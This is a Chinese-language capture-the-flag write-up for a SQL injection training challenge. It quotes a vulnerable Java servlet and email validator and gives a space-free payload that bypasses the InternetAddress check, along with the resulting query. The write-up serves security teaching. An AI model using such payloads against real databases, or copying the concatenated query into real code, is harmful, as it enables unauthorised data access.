跳转至

SQL Injection Challenge Two(SQL注入挑战 2)

题介绍

需要利用一个SQL注入点,获得通关密钥

功能实现

点击查询用户,获得对应请求

POST /challenges/ffd39cb26727f34cbf9fce3e82b9d703404e99cdef54d2aa745f497abe070b HTTP/1.1


userIdentity=test%40qq.com%22+or+%221%22%3D%221

对应代码文件 src/main/java/servlets/module/challenge/SqlInjectionEmail.java

String userIdentity = request.getParameter("userIdentity");
log.debug("User Submitted - " + userIdentity);
if(Validate.isValidEmailAddress(userIdentity))
{
    log.debug("Filtered to " + userIdentity);
    String ApplicationRoot = getServletContext().getRealPath("");
    log.debug("Servlet root = " + ApplicationRoot );

    log.debug("Getting Connection to Database");
    Connection conn = Database.getChallengeConnection(ApplicationRoot, "SqlChallengeEmail");
    Statement stmt = conn.createStatement();
    log.debug("Gathering result set");
    ResultSet resultSet = stmt.executeQuery("SELECT * FROM customers WHERE customerAddress = '" + userIdentity + "'");

获得 userIdentity 参数后,进行了SQL查询,但中间调用Validate.isValidEmailAddress 进行了一次对参数过滤,判断是否是合法的邮箱地址 ,详细代码如下

    public static boolean isValidEmailAddress(String email) 
    {
       boolean result = true;
       try 
       {
          log.debug("About to crash");
          InternetAddress emailAddr = new InternetAddress(email);
          log.debug("Did we crash");
          emailAddr.validate();
          log.debug("Didn't crash");
       } 
       catch (AddressException ex)
       {
          result = false;
       }
       return result;
    }

通过InternetAddress 类进行判断的,因此要想成功注入获取结果,首先要绕过InternetAddress类的检测,经过测试该类不允许邮箱地址存在空格

解题步骤

不能输入空格,可以使用很多方法绕过检测 如 test@qq.com'or'1'='1 ,最终执行的SQL变成

SELECT * FROM customers WHERE customerAddress = 'test@qq.com'or'1'='1'  

总结

在开发指南中,我们经常要求进行输入验证,但本题做了输入验证,仍然存在安全漏洞,说明能够实现正确的输入验证并非易事
对于普通的研发人员,白名单+黑名单的方式可能更简单,比如本题进一步不允许输入单引号等特殊字符

Back to top